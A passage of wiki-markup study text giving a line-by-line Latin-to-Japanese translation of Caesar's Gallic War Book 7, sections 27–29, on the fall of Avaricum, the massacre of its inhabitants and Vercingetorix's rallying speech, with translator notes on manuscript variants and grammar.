**──というのは、たいてい最大級の危険においては、恐怖が&lt;ruby&gt;&lt;rb&gt;憐憫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れんびん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を受け入れないものであるからだが、──
*[[wikt:en:conclamo#Latin|conclamare]] et [[wikt:en:significo#Latin|significare]] de [[wikt:en:fuga#Latin|fuga]] [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:coeperunt#Latin|coeperunt]]. 
**&lt;small&gt;（女たちは）&lt;/small&gt;叫び声を上げて、ローマ人たちに&lt;small&gt;（男たちの）&lt;/small&gt;逃亡について知らしめ始めた。
:　
;　　　ガッリア勢の男たちが、ローマ側の騎兵隊を恐れて、アウァーリクム脱出を断念する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] [[wikt:en:timor#Latin|timore]] [[wikt:en:perterritus#Latin|perterriti]] [[wikt:en:Galli#Latin|Galli]], 
**&lt;small&gt;（女たちがローマ側へ男たちの脱出について報知したことで）&lt;/small&gt;その恐怖によって脅かされたガッリア人&lt;small&gt;（の男）&lt;/small&gt;たちは、
*[[wikt:en:ne#Latin:_no|ne]] ab [[wikt:en:equitatus#Latin|equitatu]] Romanorum [[wikt:en:via#Latin|viae]] [[wikt:en:praeoccuparentur#Latin|praeoccuparentur]], 
**ローマ方の[[w:騎兵|騎兵隊]]によって道があらかじめ占拠されないように、
*[[wikt:en:consilium#Latin|consilio]] [[wikt:en:destiterunt#Latin|destiterunt]].
**&lt;small&gt;（アウァーリクムからの脱出の）&lt;/small&gt;計画を取り止めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===27節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/27節]]　{{進捗|00%|2026-08-01}}&lt;/span&gt;
;ローマ軍が大雨の中でアウァーリクムの城壁を占拠
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die Caesar, 
**翌日にカエサルは、
*[[wikt:en:promotus#Latin|promota]] [[wikt:en:turris#Latin|turri]] 
**&lt;small&gt;（後退していた）&lt;/small&gt;[[w:攻城塔|攻城櫓]]&lt;small&gt;（の1基）&lt;/small&gt;が前進させられて、
*&lt;u&gt;perfectis&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|operibus]], quae facere [[wikt:en:instituerat#Latin|instituerat]], 
**実施を定めていた作業が&lt;u&gt;成し遂げられると&lt;/u&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;pi;系写本では [[wikt:en:perfectis#Latin|perfectīs]] 「完成されると」だが、&lt;br&gt;　　　　　&amp;alpha;系･&amp;rho;系写本では [[wikt:en:derectis#Latin|dērēctīs]] 「整えられると」&lt;br&gt;　　　　となっている。）&lt;/span&gt;
*magno [[wikt:en:coortus#Latin|coorto]] &lt;u&gt;imbre&lt;/u&gt; 
**激しい嵐が起こったが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:imbre#Latin|imbre]] だが、&amp;beta;系写本では [[wikt:en:imbri#Latin|imbri]] となっている。）&lt;/span&gt;
*non [[wikt:en:inutilis#Latin|inutilem]] hanc ad [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:consilium#Latin|consilium]] [[wikt:en:tempestas#Latin|tempestatem]] &lt;u&gt;arbitratus est&lt;/u&gt;, 
**作戦計画を立てるために、この天候は不利ではないと思われた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:arbitratus#Participle|arbitratus]] est だが、&amp;beta;系写本では単に arbitratus となっている。）&lt;/span&gt;
*[[wikt:en:quod#Conjunction|quod]] paulo [[wikt:en:incautius#Adverb|incautius]] [[wikt:en:custodia#Latin|custodias]] in [[wikt:en:murus#Latin|muro]] [[wikt:en:dispositus#Latin|dispositas]] [[wikt:en:videbat#Latin|videbat]], 
**──というのは、城壁に配置された番兵たちが少しより油断していると見ていたからだが、──
*&lt;u&gt;suosque&lt;/u&gt; [[wikt:en:languide#Adverb|languidius]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:versor#Latin|versari]] [[wikt:en:iussit#Verb|iussit]] 
**配下の者たちには&lt;small&gt;（わざと）&lt;/small&gt;より緩慢に作業に従事することを命じて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:suos#Latin|suōs]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&amp;beta;系写本では [[wikt:en:suos#Latin|suōs]] [[wikt:en:quoque#Adverb|quoque]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quid#Pronoun_2|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:ostendit#Latin|ostendit]]. 
**何がなされることを&lt;small&gt;（カエサルが）&lt;/small&gt;欲しているか、を示した。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:legio#Latin|Legionibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;extra castra intra [[wikt:en:vinea#Latin|vineas]]&lt;/u&gt; in occulto [[wikt:en:expeditus#Participle|expeditis]], 
**[[w:ローマ軍団|諸軍団]]が&lt;u&gt;陣営の外の&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の内側で&lt;/u&gt;ひそかに準備を整えており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本や校訂版によって異同がある。[[ガリア戦記_第7巻/注解/27節#注記|注記]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;
*[[wikt:en:cohortatus#Latin|cohortatus]], ut [[wikt:en:aliquando#Latin|aliquando]] pro [[wikt:en:tantus#Latin|tantis]] [[wikt:en:labor#Latin|laboribus]] [[wikt:en:fructus#Latin:_noun|fructum]] victoriae [[wikt:en:perciperent#Latin|perciperent]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;やっと、これほどの労苦の見合う勝利の報酬を我がものとするように激励し、
*iis, qui [[wikt:en:primus#Latin|primi]] [[wikt:en:murus#Latin|murum]] [[wikt:en:adscendissent#Latin|adscendissent]], [[wikt:en:praemium#Latin|praemia]] [[wikt:en:proposuit#Latin|proposuit]] 
**一番乗りとして城壁に登った者たちには、恩賞を約束して、
*[[wikt:en:miles#Latin|militibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:signum#Latin|signum]] [[wikt:en:dedit#Latin|dedit]]. 
**兵士たちに号令を発した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi [[wikt:en:subito#Adverb_8|subito]] ex omnibus partibus [[wikt:en:evolaverunt#Latin|evolaverunt]] 
**彼ら&lt;small&gt;〔ローマ軍団兵〕&lt;/small&gt;は不意にあらゆる方角から飛び出して、
*[[wikt:en:murus#Latin|murum]]&lt;nowiki&gt;que&lt;/nowiki&gt; celeriter [[wikt:en:compleverunt#Latin|compleverunt]].
**速やかに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁を埋め尽くしたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===28節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/28節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
;ローマ軍がアウァーリクムの市民4万人を大虐殺

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hostes re nova [[wikt:en:perterritus#Latin|perterriti]], 
**敵たち&lt;small&gt;〔籠城するガッリア勢〕&lt;/small&gt;は新たな事態に脅かされて、
*[[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turribus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:deiectus#Participle|deiecti]] 
**&lt;small&gt;（ローマ兵によって）&lt;/small&gt;城壁や櫓から追い落とされて、
*in [[wikt:en:forum#Latin|foro]] ac locis [[wikt:en:patentior#Latin|patentioribus]] [[wikt:en:cuneatim#Latin|cuneatim]] [[wikt:en:constiterunt#Etymology_1|constiterunt]], 
**&lt;ruby&gt;&lt;rb&gt;広場&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;フォルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や開けた場所に楔状に立ちふさがった。
*hoc animo, ut, si [[wikt:en:aliqui#Latin|qua]] ex parte [[wikt:en:obviam#Adverb|obviam]] &lt;span style=&quot;color:#009900;&quot;&gt;[&lt;/span&gt;contra&lt;span style=&quot;color:#009900;&quot;&gt;]&lt;/span&gt; [[wikt:en:veniretur#Latin|veniretur]], [[wikt:en:acies#Latin|acie]] [[wikt:en:instructus#Latin|instructa]] [[wikt:en:depugnarent#Latin|depugnarent]]. 
**もし、どの方向から相対して対抗して来られても、戦列を整えて決戦しようという心積もりでいたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:contra#Latin|contra]] は &amp;alpha;系･&amp;pi;系写本･写本Rにある記述だが、&lt;br&gt;　　　　　　　　写本U にはなく、削除提案されている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ubi [[wikt:en:nemo#Latin|neminem]] in aequum locum sese [[wikt:en:demitto#Latin|demittere]], sed [[wikt:en:totus#Latin:_whole|toto]] [[wikt:en:undique#Latin|undique]] [[wikt:en:murus#Latin|muro]] [[wikt:en:circumfundi#Latin|circumfundi]] [[wikt:en:viderunt#Latin|viderunt]], 
**&lt;small&gt;（ローマ兵が）&lt;/small&gt;誰も平らな所に降りて来ず、しかし城壁全体の至る所で取り囲まれたことを見たときに、
*[[wikt:en:veritus#Latin|veriti]], ne [[wikt:en:omnino#Latin|omnino]] spes fugae [[wikt:en:tolleretur#Latin|tolleretur]], 
**&lt;small&gt;（籠城ガッリア勢は）&lt;/small&gt;逃亡のあらゆる希望を奪われないかと怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：veriti, [[wikt:en:ne#Latin:_no|ne]] ～ 「～ではないかと恐れて」恐れの表現。）&lt;/span&gt;
*[[wikt:en:abiectus#Latin|abiectis]] [[wikt:en:arma#Latin|armis]] 
**武器を投げ捨てて、
*[[wikt:en:ultimus#Latin|ultimas]] oppidi partes 
**城塞都市の&lt;small&gt;（ローマ勢から）&lt;/small&gt;最も遠くの方面を
*[[wikt:en:continens#Latin|continenti]] [[wikt:en:impetus#Latin|impetu]] [[wikt:en:petiverunt#Latin|petiverunt]], 
**絶え間ない殺到によって求めた。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;u&gt;pars&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; ibi, cum [[wikt:en:angustus#Latin|angusto]] [[wikt:en:exitus#Latin|exitu]] portarum se ipsi [[wikt:en:premerent#Latin|premerent]], a militibus, 
**ある者たちは、城門の狭い出口で自分らで互いに押し合っていたので、そこで&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちによって&lt;small&gt;（殺され）&lt;/small&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:pars#Latin|pars]] ～, pars …「ある者たちは～、別の者たちは…」。）&lt;/span&gt;
*&lt;u&gt;pars&lt;/u&gt; iam [[wikt:en:egressus#Latin|egressa]] portis ab [[wikt:en:eques#Latin|equitibus]] est [[wikt:en:interfectus#Latin|interfecta]]. 
**別の者たちはすでに城門を出ていたが、&lt;small&gt;（ローマ側の）&lt;/small&gt;[[w:騎兵|騎兵]]たちによって虐殺された。

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:nec#Latin|Nec]] fuit [[wikt:en:quisquam#Pronoun|quisquam]], qui [[wikt:en:praeda#Latin|praedae]] [[wikt:en:studeret#Latin|studeret]]. 
**&lt;small&gt;（ローマ勢には）&lt;/small&gt;戦利品を熱心に求める何者もいなかった。
*[[wikt:en:sic#Latin|Sic]] et &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:caedes#Latin|caede]] et [[wikt:en:labor#Latin|labore]] [[wikt:en:opus#Latin|operis]] [[wikt:en:incitatus#Latin|incitati]] 
**このように、ケナブムの&lt;small&gt;（ローマ市民の）&lt;/small&gt;殺害にも、（攻城）作業の労苦にも煽られて
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カルヌーテース族によるローマ市民の殺害については[[#3節|3節]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cenabi は、&amp;alpha;系写本では [[wikt:en:Genabi#Latin|genabi]] &lt;br&gt;　　　　　　　　　　　　　&amp;rho;系写本や写本Tでは [[wikt:en:Genabensi#Adjective|genabensi]]&lt;br&gt;　　　　　　　　　　　　　写本Uおよび写本Tの一部では cenabensi となっている。&lt;br&gt;　　　　　　　　　　　　　なお、cenabi, cenabensi はケルト語風の表記である。）&lt;/span&gt;
*non [[wikt:en:aetas#Latin|aetate]] [[wikt:en:confectus#Latin|confectis]], 
**&lt;small&gt;（ローマ勢は）&lt;/small&gt;年老いた者たちも、
*non [[wikt:en:mulier#Latin|mulieribus]], 
**妻女たちも、
*non [[wikt:en:infans#Noun|infantibus]] [[wikt:en:pepercerunt#Latin|pepercerunt]]. 
**乳幼児たちも&lt;small&gt;（虐殺することを）&lt;/small&gt;思いとどまらなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ビトゥリゲース族はローマ市民の殺害には関与しておらず、報復される対象とするのは的外れである。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ましてや非戦闘員である老人・女性・子供たちまで殺戮するのは、戦争の狂気というしかない。）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:denique#Latin|Denique]] ex omni &lt;u&gt;&lt;span style=&quot;color:#009900;&quot;&gt;eo&lt;/span&gt;&lt;/u&gt; numero, qui fuit circiter milium XL&lt;small&gt;&amp;nbsp;([[wikt:en:quadraginta#Latin|quadraginta]])&lt;/small&gt;, 
**ついには、約40000名もいたすべての人員のうち、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:eo#Latin:_there|eo]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*vix DCCC&lt;small&gt;&amp;nbsp;([[wikt:en:octingenti#Latin|octingenti]])&lt;/small&gt;, qui primo [[wikt:en:clamor#Latin|clamore]] [[wikt:en:auditus#Latin|audito]] se ex oppido &lt;u&gt;eiecerunt&lt;/u&gt;, 
**やっと800名が、はじめにどよめきを聞いて、城塞都市から急ぎ出て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:eiecerunt#Latin|eiecerunt]]&lt;small&gt;&amp;nbsp;(直接法･完了)&lt;/small&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eiecerant#Latin|eiecerant]]&lt;small&gt;&amp;nbsp;(直接法･過去完了)&lt;/small&gt; となっている。）&lt;/span&gt;
*[[wikt:en:incolumis#Latin|incolumes]] ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:pervenerunt#Latin|pervenerunt]]. 
**無傷のままで[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ到着した。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Quos ille multa iam nocte &lt;u&gt;silentio&lt;/u&gt; ex fuga [[wikt:en:excepit#Latin|excepit]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、逃亡して来たその者たちを、すでに夜も更けた&lt;u&gt;静寂のうちに&lt;/u&gt;迎え入れた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:silentio#Latin|silentio]] だが、&amp;beta;系写本にはない。&lt;br&gt;　　　　　　他方、&amp;beta;系写本では [[wikt:en:sic#Latin|sic]] とあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]], ne qua in castris ex eorum [[wikt:en:concursus#Latin:_convergence|concursu]] et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]] seditio &lt;u&gt;oreretur&lt;/u&gt;, 
**彼らの密集や一般兵士たちの同情から、陣営の中で何らかの暴動が生じないように怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne [[wikt:en:aliqui#Latin|qua (aliqua)]] ～ [[wikt:en:seditio#Latin|seditio]]「何らかの暴動が～ないように」
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、一部の写本は [[wikt:en:oreretur#Latin|oreretur]] だが、&lt;br&gt;　　　　　　　　　他の写本では [[wikt:en:oriretur#Latin|oriretur]] となっているが、語形の相違。）&lt;/span&gt;
*ut procul in via [[wikt:en:dispositus#Latin|dispositis]] [[wikt:en:familiaris#Noun|familiaribus]] suis [[wikt:en:princeps#Latin|principibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:civitas#Latin|civitatum]], 
**自らの郎党たちや部族の領袖たちを&lt;small&gt;&lt;/small&gt;（陣営の）遠くから道沿いに配置して、
*[[wikt:en:disparandus#Latin|disparandos]] [[wikt:en:deducendus#Latin|deducendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; ad suos [[wikt:en:curaret#Latin|curaret]], 
**&lt;small&gt;（敗走者たちを）&lt;/small&gt;味方のもとへ、引き離して連れて行くように手配した。
*quae [[wikt:en:cuique#Latin|cuique]] civitati pars castrorum ab [[wikt:en:initium#Latin|initio]] [[wikt:en:obvenerat#Latin|obvenerat]].
**陣営の各部分は、おのおのの部族にはじめから与えられていたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===29節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/29節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
[[画像:Vercingetorix stater CdM.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
;ウェルキンゲトリークスが演説で味方を鼓舞する

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die [[wikt:en:concilium#Latin|concilio]] [[wikt:en:convocatus#Latin|convocato]], 
**翌日に、会合が召集されると、
*[[wikt:en:consolatus#Latin|consolatus]] [[wikt:en:cohortatus#Latin|cohortatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; est, 
**&lt;small&gt;（ウェルキンゲトリークスは、味方の者たちを）&lt;/small&gt;慰めて、励ました：
*&lt;u&gt;ne&lt;/u&gt; se [[wikt:en:admodum#Latin|admodum]] animo [[wikt:en:demitterent#Latin|demitterent]], 
**あまり気を落とさないように、
*&lt;u&gt;ne&lt;/u&gt; [[wikt:en:perturbarentur#Latin|perturbarentur]] [[wikt:en:incommodum#Latin|incommodo]]. 
**敗北により取り乱さないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の下線部は、&amp;alpha;系写本では [[wikt:en:ne#Latin:_no|ne]] ～ ne だが、&lt;br&gt;　　　　　　　　　　　&amp;beta;系写本では ne ～ [[wikt:en:neve#Latin|neve]] となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Non [[wikt:en:virtus#Latin|virtute]] neque in [[wikt:en:acies#Latin|acie]] [[wikt:en:vicisse#Latin|vicisse]] [[wikt:en:Romani#Latin|Romanos]], 
**ローマ人たちが勝ったのは、武勇においてでも、戦列&lt;small&gt;〔野外の合戦〕&lt;/small&gt;においてでもなく、
*sed [[wikt:en:artificium#Noun|artificio]] [[wikt:en:quidam#Determiner|quodam]] et [[wikt:en:scientia#Latin:_knowledge|scientia]] [[wikt:en:oppugnatio#Latin|oppugnationis]], 
**ある種の技巧および攻城戦の知識によるものであって、
*cuius rei [[wikt:en:fuerint#Latin|fuerint]] ipsi [[wikt:en:imperitus#Latin|imperiti]]. 
**その事柄に&lt;small&gt;（ガッリア人）&lt;/small&gt;自身が通じていなかったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第5巻#42節|第5巻42節]]では、ネルウィイー族らガッリア北部のベルガエ勢はローマ人の攻城術をまねていた。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:erro#Latin:_wander|Errare]], si [[wikt:en:aliqui#Latin|qui]] in [[wikt:en:bellum#Latin|bello]] omnes [[wikt:en:secundus#Adjective|secundos]] rerum [[wikt:en:proventus#Latin|proventus]] [[wikt:en:exspectent#Latin|exspectent]]. 
**誰であれ、戦争において、万事が順調な成功になることを期待するのならば、&lt;small&gt;（その者らは）&lt;/small&gt;誤っている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：語順が判りにくいが、&lt;br&gt;　　　　物事のすべて（omnes rerum）が幸運な結果（secundos proventus）であることを期待するのならば～。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：errare の意味上の主語（[[wikt:en:eos#Latin|eos]]）が省略されている。）&lt;/span&gt;

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sibi [[wikt:en:numquam#Latin|numquam]] [[wikt:en:placuisse#Latin|placuisse]] [[wikt:en:Avaricum#Latin|Avaricum]] [[wikt:en:defendi#Latin|defendi]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;にとって、アウァーリクムが防衛されることは決して好ましいものではなかった。
*cuius rei [[wikt:en:testis#Latin:_witness|testes]] ipsos [[wikt:en:haberet#Latin|haberet]]; 
**その事の証人は&lt;small&gt;（諸君ら）&lt;/small&gt;自身である。
*sed &lt;u&gt;factum&lt;/u&gt; [[wikt:en:inprudentia#Latin|inprudentia]] [[wikt:en:Bituriges#Latin|Biturigum]] et [[wikt:en:nimius#Latin|nimia]] [[wikt:en:obsequentia#Latin|obsequentia]] reliquorum, &lt;u&gt;uti&lt;/u&gt; hoc [[wikt:en:incommodum#Latin|incommodum]] [[wikt:en:acciperetur#Latin|acciperetur]].
**だが、ビトゥリゲース族の軽率さと、ほかの者たちの過度な同調により、この敗北を蒙るようになったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:factus#Latin:_done|factum]] (esse) ～ [[wikt:en:uti#Latin:_how|uti]] …「…ようになった」）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Id tamen se celeriter [[wikt:en:maior#Adjective_2|maioribus]] [[wikt:en:commodum#Latin:noun|commodis]] [[wikt:en:sanaturus#Latin|sanaturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;. 
**しかしながら、自分がそれ&lt;small&gt;〔敗北〕&lt;/small&gt;を速やかに大いなる勝利によって埋め合わせるであろう。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Nam quae ab reliquis [[wikt:en:Galli#Latin:_Gauls|Gallis]] civitates [[wikt:en:dissentirent#Latin|dissentirent]], 
**一方、&lt;small&gt;（ウェルキンゲトリークスら）&lt;/small&gt;ほかのガッリア人たちとは意見を相異する諸部族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：先行詞 [[wikt:en:civitas#Latin|civitates]] が quae 以下の関係文中に入り込む倒置の語順。）&lt;/span&gt;
*has sua [[wikt:en:diligentia#Noun|diligentia]] [[wikt:en:adiuncturus#Latin|adiuncturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**彼ら&lt;small&gt;〔諸部族〕&lt;/small&gt;を自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の入念さにより合流させるであろうし、
*atque unum [[wikt:en:consilium#Latin|consilium]] [[wikt:en:totus#Latin:_whole|totius]] [[wikt:en:Gallia#Latin|Galliae]] [[wikt:en:effecturus#Latin|effecturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, 
**全ガッリアの考えを一つにするであろう。
*cuius [[wikt:en:consensus#Latin|consensui]] ne orbis quidem terrarum [[wikt:en:possit#Latin|possit]] [[wikt:en:obsistere#Latin|obsistere]]; 
**その団結には、全世界でさえ邪魔することはできない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:orbis#Latin|orbis]] [[wikt:en:/terrarum#Latin|terrarum]]「全世界」）&lt;/span&gt;
*[[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; se [[wikt:en:prope#Adverb|prope]] iam [[wikt:en:effectus#Latin:_participle|effectum]] habere. 
**それを自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、ほとんどすでに成し遂げたと思う。

:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:interea#Latin|Interea]] [[wikt:en:aequus#Latin|aequum]] esse ab iis [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:impetrari#Latin|impetrari]], 
**その間に&lt;small&gt;（ガッリアの）&lt;/small&gt;共通の安全のために、彼ら&lt;small&gt;〔ガッリア人〕&lt;/small&gt;によって&lt;small&gt;（以下のように）&lt;/small&gt;達成されることが好都合である。
*ut castra [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerent#Latin|instituerent]], 
**陣営を防御することを実施するように、
*[[wikt:en:quo#Latin:_where|quo]] [[wikt:en:facilius#Latin|facilius]] [[wikt:en:repentinus#Latin|repentinos]] hostium [[wikt:en:impetus#Latin|impetus]] &lt;u&gt;sustinerent&lt;/u&gt;.
**それにより、敵たち&lt;small&gt;〔ローマ人〕&lt;/small&gt;の予期せぬ襲撃に対して、より容易に持ちこたえられるように。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sustinerent#Latin|sustinerent]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:sustinere#Latin|sustinere]] [[wikt:en:possent#Latin|possent]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
